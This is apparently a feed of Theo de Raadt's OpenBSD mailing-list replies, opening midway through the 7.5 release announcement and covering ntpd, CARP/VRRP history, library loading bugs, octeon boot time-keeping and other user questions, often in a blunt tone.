OpenBSD 7.5 released: Apr 5

[Theo de Raadt]

the directory that applies to your architecture,
   for example, amd64.  This is a list of what you will see:

BOOTIA32.EFI*   bsd*floppy75.imgpxeboot*
BOOTX64.EFI*bsd.mp* game75.tgz  xbase75.tgz
BUILDINFO   bsd.rd* index.txt   xfont75.tgz
INSTALL.amd64   cd75.isoinstall75.img   xserv75.tgz
SHA256  cdboot* install75.iso   xshare75.tgz
SHA256.sig  cdbr*   man75.tgz
base75.tgz  comp75.tgz  miniroot75.img

   If you are new to OpenBSD, fetch _at least_ the file INSTALL.amd64
   and install75.iso.  The install75.iso file (roughly 684MB in size)
   is a one-step ISO-format install CD image which contains the various
   *.tgz files so you do not need to fetch them separately.

   If you prefer to use a USB flash drive, fetch install75.img and
   follow the instructions in INSTALL.amd64.

5) If you are an expert, follow the instructions in the file called
   README; otherwise, use the more complete instructions in the
   file called INSTALL.amd64.  INSTALL.amd64 may tell you that you
   need to fetch other files.

6) Just in case, take a peek at:

https://www.OpenBSD.org/errata.html

   This is the page where we talk about the mistakes we made while
   creating the 7.5 release, or the significant bugs we fixed
   post-release which we think our users should have fixes for.
   Patches and workarounds are clearly described there.


- X.ORG FOR MOST ARCHITECTURES -

X.Org has been integrated more closely into the system.  This release
contains X.Org 7.7.  Most of our architectures ship with X.Org, including
amd64, sparc64 and macppc.  During installation, you can install X.Org
quite easily using xenodm(1), our simplified X11 display manager forked
from xdm(1).


- PACKAGES AND PORTS ---

Many third party software applications have been ported to OpenBSD and
can be installed as pre-compiled binary packages on the various OpenBSD
architectures.  Please see https://www.openbsd.org/faq/faq15.html for
more information on working with packages and ports.

Note: a few popular ports, e.g., NSD, Unbound, and several X
applications, come standard with OpenBSD and do not need to be installed
separately.


- SYSTEM SOURCE CODE ---

The source code for all four subsystems can be found in the
pub/OpenBSD/7.5/ directory:

xenocara.tar.gz ports.tar.gz   src.tar.gz sys.tar.gz

The README (https://ftp.OpenBSD.org/pub/OpenBSD/7.5/README) file
explains how to deal with these source files.


- THANKS ---

Ports tree and package building by Jeremie Courreges-Anglas,
Visa Hankala, Stuart Henderson, Peter Hessler, George Koehler,
Kurt Mosiejczuk, and Christian Weisgerber.  Base and X system builds by
Kenji Aoyama, Theo de Raadt, and Miod Vallat.  Release art by
Stipan Morian.

We would like to thank all of the people who sent in bug reports, bug
fixes, donation cheques, and hardware that we use.  We would also like
to thank those who bought our previous CD sets.  Those who did not
support us financially have still helped us with our goal of improving
the quality of the software.

Our developers are:

Aaron Bieber, Adam Wolk, Aisha Tammy, Alexander Bluhm,
Alexander Hall, Alexandr Nedvedicky, Alexandr Shadchin,
Alexandre Ratchov, Andrew Fresh, Anil Madhavapeddy,
Anthony J. Bentley, Antoine Jacoutot, Anton Lindqvist, Asou Masato,
Ayaka Koshibe, Benoit Lecocq, Bjorn Ketelaars, Bob Beck,
Brandon Mercer, Brent Cook, Brian Callahan, Bryan Steele,
Can Erkin Acar, Caspar Schutijser, Charlene Wendling,
Charles Longeau, Chris Cappuccio, Christian Weisgerber,
Christopher Zimmermann, Claudio Jeker, Dale Rahn, Damien Miller,
Daniel Dickman, Daniel Jakots, Darren Tucker, Dave Voutila,
David Coppa, David Gwynne, David Hill, Denis Fondras, Edd Barrett,
Eric Faurot, Florian Obser, Florian Riehm, Frederic Cambus,
George Koehler, Gerhard Roth, Giannis Tsaraias, Gilles Chehade,
Giovanni Bechis, Gleydson Soares, Gonzalo L. Rodriguez, Greg Steuck,
Helg Bredow, Henning Brauer, Ian Darwin, Ian Sutton, Igor Sobrado,
Ingo Feinerer, Ingo Schwarze, Inoguchi Kinichiro, James Hastings,
James Turner, Jan Klemkow, Jason McIntyre,
Jasper Lievisse Adriaanse, Jeremie Courreges-Anglas, Jeremy Evans,
Job Snijders, Joel Sing, Joerg Jung, Jonathan Armani, Jonathan Gray,
Jonathan Matthew, Jordan Hargrave, Josh Rickmar, Joshua Sing,
Joshua Stein, Juan Francisco Canter

Re: can't find PID

[Theo de Raadt]

PID 6504 was my shell.  I've logged off now.

What are you expecting here??


ofthecentury  wrote:

> Yes, I'm tcdupming pflog and ALL my dropped packets
> reference some PID 6504 that is not found among
> the processes that are running. I was actually not fishing
> for PIDs, I just saw the PID referenced in the standard
> tcpdump output. For forensics I just want to find the link
> between PID referenced in tcpdump to the process,
> and I cannot, and I believe I should be able to for security.
> 
> 
> 
> On Tue, Mar 5, 2024 at 7:12 PM Janne Johansson  wrote:
> 
> > Den tis 5 mars 2024 kl 14:35 skrev ofthecentury :
> > >
> > > Hi, I'm on a fresh install of OpenBSD 7.4.
> > > I am watching output of tcpdump and
> > > seeing some drops that all reference
> > > UID 0, pid 6504. I cannot find that PID
> > > among running processes. Does anyone
> > > know what is that process and why it's
> > > not running but tcpdump references it?
> >
> > OpenBSD has random pids, so unless you ask about pid 0 or 1, noone can
> > divine what process had pid 6504 on your system at that time.
> >
> > As for this report, it looks like you are tcpdumping pflog in order to
> > see "drops" with pids, but since you didn't mention what you ran, it's
> > hard to tell. Nor did you state how you looked for pids, perhaps not
> > using all the possible options?
> >
> >
> > --
> > May the most significant bit of your life be positive.
> >

Re: Pre-built images for embeded machines

[Theo de Raadt]

Chris Narkiewicz  wrote:

> On Sat, Mar 02, 2024 at 12:51:05PM -0700, Theo de Raadt wrote:
> > It might be easy, but it is wrong.
> 
> Besides extra burden on the build infrastructure, are there other
> issues? Curiosity calling, as I'm not using any arm64 devices
> personally.
> 
> I'd assume that such image would be very challenging to tailor for the
> general use, as embedded systems are ususally highly specialized.
> 
> What are perceived issues with approach?

I guess you can't read and needed to try again.

Re: mount not working as expected? and what are my default bioctl rounds?

[Theo de Raadt]

beecdadd...@danwin1210.de wrote:

> But manual says this
> "If it is a DUID, it will be automatically mapped to the appropriate entry
> in /dev"
> I assumed the opposite would be true, if I did mount sd3i, and that mount
> would check it's DUID and check in fstab for it it does not do that?

No way, of course it doesn't do that.  

Re: Pre-built images for embeded machines

[Theo de Raadt]

Odd Martin Baanrud  wrote:

> Are there any plans for providing pre-built images to be used on embeded 
> machines, like FreeBSD and NetBSD do?
> It would be nice to run OpenBSD directly from a SD card on the Raspberry Pi 
> e.g.

I'm not interested in building additional images which will be used incorrectly,
but the biggest factor is the additional build time (on every snapshot), which
will increase arm64 build time.  It might be easy, but it is wrong.

Re: New (for me,) dmesg warning during system bootup.

[Theo de Raadt]

Ignore it.

Artifact of other work.  Temporary.


Brian Conway  wrote:

> On Sun, Feb 25, 2024, at 4:27 PM, Avon Robertson wrote:
> > I have noticed several posts related to endbr64 in the last week, so I
> > thought this might be of interest to someone.
> >
> > Performed a 'sysupgrade -s' earlier today to:
> > kern.version=OpenBSD 7.5-beta (GENERIC.MP) #25: Sat Feb 24 20:50:14 MST 2024
> > dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
> >
> > The below was subsequently noticed in the system bootup messages.
> >
> > 
> > pf enabled
> > starting network
> > reordering: ld.sold: warning: _dl_start: missing endbr64 libcld: 
> > warning: __mcount: missing endbr64 libcrypto sshd.
> > 
> >
> > -- 
> > aer
> 
> https://marc.info/?t=17088928881
> 
> "It is unimportant and temporary."
> 
> Brian
> 

Re: Automatic OS updates

[Theo de Raadt]

obs...@loopw.com wrote:

> Most of the patches don’t require a reboot.  This idea sounds horrible for 
> uptime.  Sorry.  I’m not rebooting something because a font was patched…

syspatch outputs a message that the system needs a reboot.  This could be 
parsed.

Re: sysupgrade fails firmware fetch

[Theo de Raadt]

Kirill A. Korinsky  wrote:

> On Sat, 17 Feb 2024 22:27:52 +0100,
> Sonic wrote:
> > 
> > Seems it's looking for a 7.5 directory (-current apparently just moved
> > to 7.5-beta) instead of the snapshot directory.
> > 
> 
> And using snapshot directory fails because wrong signature:
> 
>   ~ $ doas fw_update -p http://firmware.openbsd.org/firmware/snapshots 
>   fw_update: failed.
>   signify: verification failed: checked against wrong key
>   Signature check of SHA256.sig failed
>   ~ $ 

The heuristic in fw_update is weak.  Every 6 months there is a chance
for someone to dig in and see if there is a better heuristic.

But be careful.  If the other side of the heuristic is broken for the
real release cycle it will be very uncomfortable.

Re: CARP and VRRP compliance

[Theo de Raadt]

Stuart Henderson  wrote:

> On 2024-02-13, Samuel Jayden  wrote:
> > From the information provided in the link, it appears that CARP and VRRP
> > protocols aren't inherently interoperable.
> 
> They are different protocols - they *had* to be different because VRRP
> was subject to patents. And if carp was changed now, it wouldn't be
> interoperable with existing carp installations.
> 
> > While Cisco may have attempted to address this by introducing a command
> > like "disable-loop-detection carp" in its Nexus 1000V virtual router
> > product, this solution unfortunately doesn't extend to standard router
> > hardware, rendering it ineffective in many scenarios.
> 
> That's not about interop beteeen carp and vrrp speakers, it's about
> using carp (or vrrp or hsrp or similar) on a port attached to the
> 'virtual switch'. See 'Information About Redundant Routing Protocols' on
> https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus1000/sw/4_2_1_s_v_1_5_1/layer_2_switching/configuration/guide/n1000v_l2/n1000v_l2_7redundantroutingprot.html
> 
> > Is it feasible to achieve CARP and VRRP interoperability through a
> > user-space application?
> 
> No. They are different protocols. For what you want to do, running VRRP
> on the OpenBSD box might make some sense though. There are various
> existing userland implementations of VRRP that might be able to run
> on OpenBSD, probably with some work to port them - e.g. freevrrpd,
> frr-vrrpd, vrrpd. Nothing already in the ports tree (if someone wanted
> to try I'd suggest starting by looking at freevrrpd).

This was my experience:

VRRP was the first patent-encumbered protocol squeezed through the IETF process.

The backers of that change in process were employees and laywers at a few
major companies, but also tightly integrated into the IETF approval process.

When we objected to the VRRP situation, they circled the wagons, not just
to defend the VRRP patent, but to protect a future of patent's being OK in
IETF processes.

In response, OpenBSD carefully developed a similar mechanism called CARP,
and the acronymn actually expands to "Cisco Asshole Redundancy Protocol",
because the main traitors inside IETF were Cisco employees.

Then we asked IETF for numbers to make this a unique protocol.  Unlike
a recent threads where Tatu asked IETF for port 22 and they just gave it
to him, the various number authorities inside IETF demanded that we follow
the most stringent procedures for CARP.  Even to this day, IETF provides
the various prototol numbers to some large corporate industry members without
forcing them down those stringent procedures.

As a result, we simply squatted on the VRRP numbers.  We gave them plenty
of warning we would be doing this.  Over the following years, we heard some
real anger IETF decision makers internally, but none of them re-visited our
request for seperate numbers.  We never got numbers.  So CARP will stay
where it is.

One major bug was in VRRP on some HP product was found in the first year.
CARP packets were incorrectly parsed as VRRP packets.  I don't remember
the details, but I think it rebooted that HP device, probably a switch.

Oh well.

Re: ntpd: "DNS lookup tempfail" when running on an IPv6-only node

[Theo de Raadt]

Stuart Henderson  wrote:

> You need to use one of the "2." pool addresses, e.g.
> 
> global:
> 
> 2.pool.ntp.org
> 
> regional:
> 
> 2.africa.pool.ntp.org
> 2.asia.pool.ntp.org
> 2.europe.pool.ntp.org
> 2.north-america.pool.ntp.org
> 2.oceania.pool.ntp.org
> 2.south-america.pool.ntp.org
> 
> "vendor":
> 2.openbsd.pool.ntp.org

Which we will never default to, because the curators at pool.ntp have
demonstrated they make untrustworthy decisions.

> Also e.g. time.cloudflare.com lists both A and  records.

Which is already in the file, but for a different reason.  To be precise,
'time.cloudflare.com' in cloudflare's nearly 300 POPs is the ticker with
lowest latency with the least congestive effects.  So time.cloudflare.com
is the nearby ticker, and all the other tickers chosen can be anywhere
in the world to create "ticker trust" within the our constraint system.
We really don't care what other tickers are added to the list.

Re: ntpd: "DNS lookup tempfail" when running on an IPv6-only node

[Theo de Raadt]

Willy Manga  wrote:

> On 14/02/2024 09:31, Theo de Raadt wrote:
> > Willy Manga  wrote:
> > 
> >> Is it possible the default ntpd.conf file use something like
> >>
> >> "servers openbsd.pool.ntp.org" and of course have openbsd.pool.ntp.org
> >> looking for IPv6 nodes?
> > Not going to happen.
> 
> Fine. Can we at least have a workaround from the start?
> 
> Change "#servers pool.ntp.org" with another pool of servers available
> in IPv6? Ideally I agree it must be fixed upstream. That's why I filed
> an issue on github.

No.  This is not our problem.  We are making a balanced decision based up
the crappy pool ntp ecosystem.

They try to push people into smaller and smaller sub-communities where
they can make decisions of their own which will affect our community.
That's wrong.  I've seen enough of their past meddling we will not do
that.  We would remove the pool entry from the config file before we
choose a curate pool selection.

> At that moment, I don't know how the OpenBSD ecosystem prefers to deal
> with that kind of issue: wait for a fix from the upstream or solve at
> its own level the user experience.

OpenBSD has nothing to fix.  We are not the ones curating what the DNS
records translate to.
 

Re: KeyTrap DNS vulnerability

[Theo de Raadt]

Otto Moerbeek  wrote:

> On Wed, Feb 14, 2024 at 04:55:20AM +0100, b...@fea.st wrote:
> 
> > “A single packet can exhaust the processing 
> > capacity of a vulnerable DNS server, effectively
> > disabling the machine, by exploiting a 
> > 20-plus-year-old design flaw in the DNSSEC
> > specification.
> > 
> > https://www.theregister.com/2024/02/13/dnssec_vulnerability_internet/
> 
> To be clear, this does not mean DNSSEC is cryptographically broken.
> 
> The RFCs specifying the DNSSEC validation algorithm do not take into
> account potential resource usage validating many potential signatures
> so the implementations following the RFCs suffered from the same.
> 
> By constraining the amount of work (limiting the potential signatures
> considered) while validating these issues are worked around.

Otto you just don't believe the sky is falling.

Re: ntpd: "DNS lookup tempfail" when running on an IPv6-only node

[Theo de Raadt]

Willy Manga  wrote:

> Is it possible the default ntpd.conf file use something like
> 
> "servers openbsd.pool.ntp.org" and of course have openbsd.pool.ntp.org
> looking for IPv6 nodes?

Not going to happen.

Re: Improve support of Go

[Theo de Raadt]

Stuart Henderson  wrote:

> On 2024/02/13 07:36, Theo de Raadt wrote:
> > Stuart Henderson  wrote:
> > 
> > > On 2024-02-13, Kirill A  Korinsky  wrote:
> > > > Good day,
> > > >
> > > > I'm updating go's syscall table to modern OpenBSD (7.4).
> > > 
> > > Save your time. Post-7.4 you cannot call syscall() any more.
> > 
> > The result seems to have nothing to do with syscalls.
> > 
> > It is the same as the build process for kdump: It is finding cpp definitions
> > most of which are argument flags, but also a few structs in /usr/include, 
> > and
> > making them available at some level inside the go ecosystem. So if in go you
> > call a system call via the regular stub API, you may need those flags.  you 
> > may
> > also need them for some other higher-level function call?  go doesn't pull
> > from /usr/include otherwise, does it?
> > 
> > 
> 
> Oh, yes those are still needed then, I'd forgotten they were part of the
> same thing from last time I tried to get them updated ...

there probably needs to be a formal process to update at least once a year,
or just before a release, and also upstream.

Re: Improve support of Go

[Theo de Raadt]

Stuart Henderson  wrote:

> On 2024-02-13, Kirill A  Korinsky  wrote:
> > Good day,
> >
> > I'm updating go's syscall table to modern OpenBSD (7.4).
> 
> Save your time. Post-7.4 you cannot call syscall() any more.

The result seems to have nothing to do with syscalls.

It is the same as the build process for kdump: It is finding cpp definitions
most of which are argument flags, but also a few structs in /usr/include, and
making them available at some level inside the go ecosystem. So if in go you
call a system call via the regular stub API, you may need those flags.  you may
also need them for some other higher-level function call?  go doesn't pull
from /usr/include otherwise, does it?

Re: SSH Controlmaster holding devices

[Theo de Raadt]

This has nothing to do with ssh.

Unix works this way.  You have not thought through that the cwd means.
It is a fd, on a vnode, as an inode on a filesystem.  Of course it
will prevent an unmount.

Re: M.2 Libre NIC

[Theo de Raadt]

Rohan Ganapavarapu <24rganapavar...@athenian.org> wrote:

> Do any of you guys know of a NIC card with OpenBSD support, fits in a M.2
> slot, and has libre firmware?
> 
> I found the AR9462, which has libre firmware and is M.2, but the current
> ath9k driver does not support it.

libre firmware

ha ha ha

Re: GENERIC.MP#1600 last snapshot cvs cant create tmp subdir

[Theo de Raadt]

You removed the relevant part of the ktrace, so noone can help.

Re: time keeping fallback mechanics during reboot on octeon

[Theo de Raadt]

Did anyone try this idea:


Theo de Raadt  wrote:

> Horrible hack that might work:
> 
> Put a big #ifndef BOOT_QUIET inside ffs_sbupdate() to stop it from
> doing the writeout.
> 
> That option serves other purposes inside the BOOT kernels, but maybe
> we can find another way of abstracting it better.
> 

Re: time keeping fallback mechanics during reboot on octeon

[Theo de Raadt]

Horrible hack that might work:

Put a big #ifndef BOOT_QUIET inside ffs_sbupdate() to stop it from
doing the writeout.

That option serves other purposes inside the BOOT kernels, but maybe
we can find another way of abstracting it better.

Re: time keeping fallback mechanics during reboot on octeon

[Theo de Raadt]

Blocking the timeupdate in ffs_sbupdate() will be difficult.

It is probably easier to have the BOOT kernel learn the time (from the
true root filesystem), so that ffs_sbupdate() writes back the same
value.

That means either an ugly way to reach inittodr() or the userland code
in the bootblock could read the superblock and settimeofday().

But it might slide a bit..

Re: time keeping fallback mechanics during reboot on octeon

[Theo de Raadt]

I think the BOOT kernel has done inittodr() with the stale value in the 
bootblock
file.  Stale, because this is never written back.
Later it mounts a filesystem onto /mnt, which is the real root.  That gets
unmounted.  It writes the stale time to that filesystem.

Re: time keeping fallback mechanics during reboot on octeon

[Theo de Raadt]

I suspect this is due to how powerpc64 and octeon boot.  Their bootblocks are
a special kernel called BOOT which mounts the ffs filesystem diretly.  I suspect
during the transition to loading GENERIC.MP something wrong happens with the
on-disk time information, which misleads the next kernel.

Re: as cannot do endbr64 instructions (too old)

[Theo de Raadt]

Ah, only disasm support was added to binutils.

Re: as cannot do endbr64 instructions (too old)

[Theo de Raadt]

That's curious.

We never invoke as directly these days.

It feels like an upstream llvm bug, and I say that because noone else has
embraced BTI/IBT as much as we have, everyone else is still considering it
a thing for specific applications or the future.

Lorenz (xha)  wrote:

> hi misc@,
> 
> like the subject says, `as` in the base system cannot do endbr64
> instructions. should it be updated?
> 
> background: i am maintaining hare for openbsd and we always have
> to install "gas" from the "binutils" package because the normal one
> is too old. i'd be nice if we don't depend on any packages from
> ports and don't have some specific workarounds in hare just for
> openbsd because "as" is too old.
> 
> if updating "as" is not an option, is there a way to invoke the
> llvm assembler directly in the base system?
> 
> thanks.
> 
> - lorenz
> 

Re: Firefox, Chrome, Libreoffice bogus syscall on -current

[Theo de Raadt]

Ax0n  wrote:

> And yes, quite a lot of stuff referencing libc.so.97.1  in /usr/local - 223
> files in bin, 361 in lib, 0 in sbin.

Then your machine is not -current, not by a long shot.

We moved to libc.so.98.0 on Dec 12.

At least two rounds of new packages have shown up since then.

I do believe there are circumstances where pkg_add fails to update
library packages.  

Re: Firefox, Chrome, Libreoffice bogus syscall on -current

[Theo de Raadt]

Stuart Henderson  wrote:

> On 2023-12-27, Ax0n  wrote:
> > I had been running #1471 since December 5th without issue, and this week
> > upgraded to the latest snapshot (#1567) after which some apps such as
> > Firefox won't run. They display "msyscall  a8000 error" followed by a
> > core dump. dmesg(1) shows a bogus syscall. I did ensure that I had properly
> > sysmerged and updated packages.I waited until the next snapshot hit
> > mirrors, and verified that this issue persists with build #1572 and fresh
> > packages as well. Lenovo X1 Carbon Gen 8. dmesg in body. I can put core
> > dumps somewhere if it helps.
> 
> Not sure how much core dumps will help, but if you can try running
> the binaries with problems with LD_DEBUG set in the environment (to
> anything) and capture output (e.g. using script(1) as it will likely be
> copious) that might give clues.
> 
> How are you updating packages / which mirror? Do you have anything left
> in /usr/local/{bin,sbin,lib} etc which still reference any libc.so.97?
> 
> Are you doing anything unusual with LD_PRELOAD (e.g. using a socks
> wrapper)?

ktrace -di

kdump | grep 'NAMI.*/lib'

You will see two libc.so

That's not good, and our ld.so is going to need to learn to handle this.

Re: Firefox, Chrome, Libreoffice bogus syscall on -current

[Theo de Raadt]

b...@fea.st wrote:

> On Thu, Dec 28, 2023, at 00:41, Ax0n wrote:
> > I had been running #1471 since December 5th without issue, and this week
> > upgraded to the latest snapshot (#1567) after which some apps such as
> > Firefox won't run. They display "msyscall  a8000 error" followed by a
> > core dump. dmesg(1) shows a bogus syscall. I did ensure that I had properly
> > sysmerged and updated packages.I waited until the next snapshot hit
> > mirrors, and verified that this issue persists with build #1572 and fresh
> > packages as well. Lenovo X1 Carbon Gen 8. dmesg in body. I can put core
> > dumps somewhere if it helps.
> 
> I'm on #1576 and both ungoogled-chromium and firefox work fine.

The problem occurs when a package uses a library which has a DT_NEEDED
reference to an older libc library, but the snapshot has moved to a new
library major/minor version.

Then ld.so loads both libraries, and that won't work.

This DT_NEEDED stuff is very much designed to discourage any trend other
than ossification.

Re: ls in color

[Theo de Raadt]

Karel Lucas  wrote:

> In openBSD V7.4 I would like to see the output of ls in color, and
> therefore would like to know how to configure that. The output of "man
> ls" provides no information about this. Can anyone give me a tip?

Black and white are also colours.

Re: termtypes.master glitch in building -current

[Theo de Raadt]

This is not new.

>From time to time, manual crossover build steps occur.
We don't build them into the tree, because that turn into future burden.

Eric Grosse  wrote:

> When I've built -current on several machines recently, the procedure dies at
>   ===> share/termtypes
>   /usr/bin/tic -C -x /usr/src/share/termtypes/termtypes.master > termcap
>   /usr/bin/tic -x -o terminfo /usr/src/share/termtypes/termtypes.master
>   "/usr/src/share/termtypes/termtypes.master", line 4429,
>terminal 'mintty': error writing
> /usr/obj/share/termtypes/terminfo/m/mintty
> because at that point in the build tic has been recompiled but still lives
> in /usr/obj/usr.bin/tic/tic.
> 
> A manual workaround is to install that new tic and restart the build.
> A better fix would be to change /usr/src/share/termtypes/Makefile from
> TIC=/usr/bin/tic to TIC=/usr/obj/usr.bin/tic/tic.
> Or set PATH in the Makefile to have /usr/obj/usr.bin/tic before /usr/bin.
> Or change the build sequence for when tic is installed.
> Or just expect anyone building -current is competent to debug for themselves.
> 

Re: CPU0 at 100% on Thinkpad 480 with OpenBSD 7.4

[Theo de Raadt]

Mike Larkin  wrote:

> On Mon, Nov 27, 2023 at 01:05:56PM -0500, Laurent Cimon wrote:
> > Hi,
> >
> >
> > The CPU0 on my Thinkpad 480 is always running at around 100%. It's on
> > OpenBSD 7.4.
> >
> > It seems to be doing this in the kernel.
> >
> >
> > Here is the CPU's line from top(1).
> >
> >     CPU0:  0.0% user,  0.0% nice, 79.3% sys,  3.8% spin, 16.3
> >
> >
> > It's always this specific CPU, and it's been draining my battery.
> >
> > How do I find what causes this?
> >
> >
> > I think that it starts doing it after waking from sleep, as it doesn't do it
> > when the system is freshly started.
> >
> > But I'd need to do some tests before verifying this.
> >
> >
> > Laurent
> >
> 
> Please search the list, this has been reported and solved many times,
> specifically for this machine.
> 

It is not solved.

There is a "workaround"

We do something wrong by not managing thunderbolt, but it is not clear
what we are supposed to do.  My theory is that thunderbolt is initialized
far enough by BIOS or chipset default configuration or our driver, that
interrupts occur which we don't handle, and spin.

Re: Reptar aka CVE-2023-23583

[Theo de Raadt]

You can find that information on Intel's webpages.

Michael Hekeler  wrote:

> Am 15.11.23 13:41 schrieb Christian Weisgerber:
> > not jacinda ardern:
> > 
> > > I saw something about a new intel microcode coming out (subject line) for 
> > > a goofy new bug somebody found. Do you guys package that up into the 
> > > fw_update (firmware.openbsd.org) magic or does it only come via the oem's 
> > > bios updates?
> > 
> > Whatever Intel releases.
> > 
> > Yesterday they published a microcode update that should address this.
> > The updated firmware package is already on the mirrors.
> > 
> > 
> > CVSROOT:/cvs
> > Module name:ports
> > Changes by: j...@cvs.openbsd.org 2023/11/14 16:34:51
> > 
> > Modified files:
> > sysutils/firmware/intel: Makefile distinfo 
> > 
> > Log message:
> > update intel microcode to 20231114
> > 
> > release notes:
> > https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases/tag/microcode-20231114
> > 
> > mitigates:
> > https://lock.cmpxchg8b.com/reptar.html
> > https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/redundant-prefix-issue.html
> 
> How can I find the cpuid of my cpu to see if my CPU is on Intel's list
> of affected CPU's?
> 
> On my proxmox systems I can do something like dmidecode
> But on OpenBSD - ... I don't know...
> 

Re: Upgrading from 7.3 to 7.4 with sysupgrade

[Theo de Raadt]

Florian Obser  wrote:

> On 2023-11-17 16:06 +01, Odd Martin Baanrud  wrote:
> > Hello Jan,
> >
> > Thanks for the tip.
> > The upgrade went smoothly.
> > I ran “sysupgrade -n”, deleted the game set and the X sets and rebooted.
> >
> > Perhaps sysupgrade should be enhanced, so one could either choose
> > which sets should be upgraded, or even beter, the tool could figure
> 
> I still have gsysupgrade lying around somewhere. It's a gtk app. I never
> made a port for it because I got sidetracked rewriting it to use qt.

It isn't written in rust?  The shame.

Re: Upgrading from 7.3 to 7.4 with sysupgrade

[Theo de Raadt]

Odd Martin Baanrud  wrote:

> Perhaps sysupgrade should be enhanced, so one could either choose which sets 
> should be upgraded, or even beter, the tool could figure out which sets are 
> installed, and upgrade just those.

That will never happen.

Re: What happened to art4.html

[Theo de Raadt]

crying won't bring them back


cat  wrote:

> > for now
> 
> It has been over a year
> 
> On November 3, 2023 3:07:14 PM GMT, Christian Weisgerber  
> wrote:
> >cat:
> >
> >> I tried to find OpenBSD's official branding art (not the release poster 
> >> art or anything) and I couldn't find it. Wikipedia attributes the logo svg 
> >> asset to http://www.openbsd.org/art4.html, but this page gives me a 404. I 
> >> can access it fine using archive.org and going to last year's archive, but 
> >> why is it not available now?
> >
> >If only changes were kept in a version control system that anybody
> >could access... Oh, wait, they are!
> >
> >--
> >Changes by: t...@cvs.openbsd.org  2022/04/28 11:01:56
> >
> >Removed files:
> >.  : art1.html art2.html art3.html art4.html 
> >
> >Log message:
> >almost all of the images on these pages give a 404 error since they're not
> >stored in the www repo. remove them for now so people stop finding them on
> >search engines.
> >--
> >
> >-- 
> >Christian "naddy" Weisgerber  na...@mips.inka.de
> >

Re: Jumbo frame, just a little late..

[Theo de Raadt]

Daniele B.  wrote:

> Actually i'm not sure about the real benefits of it, and for a soho
> environment like mine but after 17 years I decided to take jumbo
> frame seriously.. and MTU values of my network equipment to 9018.
> I watched with happiness also to my old Mac having jumbo frame hard
> coded with MTU 9018 like second choise in the hardware settings.
> 
> About OpenBSD (7.3 stable) the only thing I need to ask explanation
> for is the reason of the error "wrong MTU value" popping up by setting
> jumbo frame directly via hostame.mynicdevice; when the setting go
> smoothly up via ifconfig manually or by rc.local. Is the nic device
> initialization dependent on a sane 1500 MTU value, maybe?

You have no idea what problems you are creating for yourself.

Re: USB serial local getty terminal re-prompts for login on any input

[Theo de Raadt]

ktrace -di of the process will show what is going on



Crystal Kolipe  wrote:

> On Thu, Oct 26, 2023 at 12:20:08PM -0400, Morgan Aldridge wrote:
> > Yes, your assumption was correct, every keypress acts as if I had pressed
> > enter. Thanks for confirming!
> 
> Getty re-displays the login prompt when it sees either 0x00 or 0x80 on the
> serial line.  In fact, you can do it from the normal framebuffer console too,
> just hit control-@ at the login prompt and it should repeat.
> 
> (This is a historic behaviour which was once used for semi-automatic baud rate
>  selection where you hit 'BREAK' a few times to get the remote end to cycle
>  through all the speeds it supported until you, (hopefully), got a login
>  prompt).
> 
> So in your case, it seems that either the terminal is putting something on the
> serial data lines that the USB serial adaptor is interpreting as nulls, or
> possibly it's doing something with the handshaking lines that makes the
> USB serial adaptor generate the equivalent internally.
> 
> Any extra nulls added as padding bytes probably wouldn't show up in the
> loopback test either, because the terminal would just happily ignore them.
> 

Re: Donations

[Theo de Raadt]

Joel Carnat  wrote:

> > Le 26 oct. 2023 à 16:38, Ingo Schwarze  a écrit :
> > 
> > The advice is extremely simple:
> > 
> > If you can, donate directly to the OpenBSD project because that means
> > 1. the donation can be used for any purpose, including all purposes
> >that can be funded by the foundation and some that can't
> > 2. it causes less overhead, less paperwork, less bookkeeping effort,
> >hence fewer distractions of developers from actual development
> > 
> > Use the Foundation only if *you* have a specific reason why your
> > specific donation can only be made through the Foundation and not
> > directly.  If you don't know, then it seems to me you have no specific
> > reason, so donating directly is better.
> > 
> > Yours,
> >  Ingo
> 
> Maybe it should be written this way on the donations.html page of the web 
> site. Having the reference to "PayPal recurring" for the Fondation coming 
> first made me assume this was the preferred way to donate.
> 
> But if I understand you properly, using the other PayPal links should rather 
> be used, right?

Sorry Ingo, that's incorrect.

In my view it is better to donate via the OpenBSD Foundation, and then
use their not-for-profit procedures.

The direct donations can be considered 'fast cash'.  I'm thrilled there
is a bit of fast cash available so I can immediately solve some problems
with urgency -- without reaching out to the OpenBSD Foundation and
waiting for their approval process.  But for most things (hackathons,
hardware, other major project costs) I believe the transparency they
supply is a good thing.

Re: What could cause high CPU load averages (no actual CPU usage)?

[Theo de Raadt]

Mike Fischer  wrote:

> > Am 25.10.2023 um 17:29 schrieb Theo de Raadt :
> > 
> > Mike Fischer  wrote:
> > 
> >> True. But like I said, this was noticed because of the sudden increase on 
> >> the same (OpenBSD) machine without any obvious reason.
> > 
> > The reason is obvious.
> > 
> > You installed a completely different system.
> 
> No, there is a misunderstanding here. I have not been comparing OpenBSD load 
> averages to those on any other OS.

No, it is *your misunderstanding*

We put no effort into maintaining stability of this damn number.

We changed a lot of kernel scheduling code *without giving a damn about the
stability of this number*

It is a different system.

> I just want to figure out what would cause a mostly constant increase in load 
> average for several hours without any apparent reason.

You are still not processing the information we are providing to you.

Re: What could cause high CPU load averages (no actual CPU usage)?

[Theo de Raadt]

Mike Fischer  wrote:

> True. But like I said, this was noticed because of the sudden increase on the 
> same (OpenBSD) machine without any obvious reason.

The reason is obvious.

You installed a completely different system.

There is no SLA on keeping the load average code's calculation the same.

We don't put a penny of thought to it.

Re: What could cause high CPU load averages (no actual CPU usage)?

[Theo de Raadt]

Claudio Jeker  wrote:

> On Wed, Oct 25, 2023 at 11:57:54AM +0200, Mike Fischer wrote:
> > I have been observing occasional bouts of high load averages on several
> > servers I administer and I am trying to find the cause. (I monitor these
> > machines so that I can implement corrective measures in case of any
> > malicious or abnormal activity. I think this is benign, but I’d still
> > like to find the cause.)
> > 
> > Once the high load average starts, only a reboot seems to (temporarily)
> > return the values to their normal levels.
> > 
> > The actual CPU usage (as measured by vmstat) stays low even if the load
> > average is elevated.
> > 
> > The servers are VMs running on a VMWare host (ESXi). This was seen with
> > OpenBSD 7.3 and 7.4 amd64.
> > 
> > I can not determine anything inside the VM that causes this. There seems
> > to be no correlation to pfstat(8) graphs, log entries, known events, or
> > anything else I can determine. restarting all of the rc.d services never
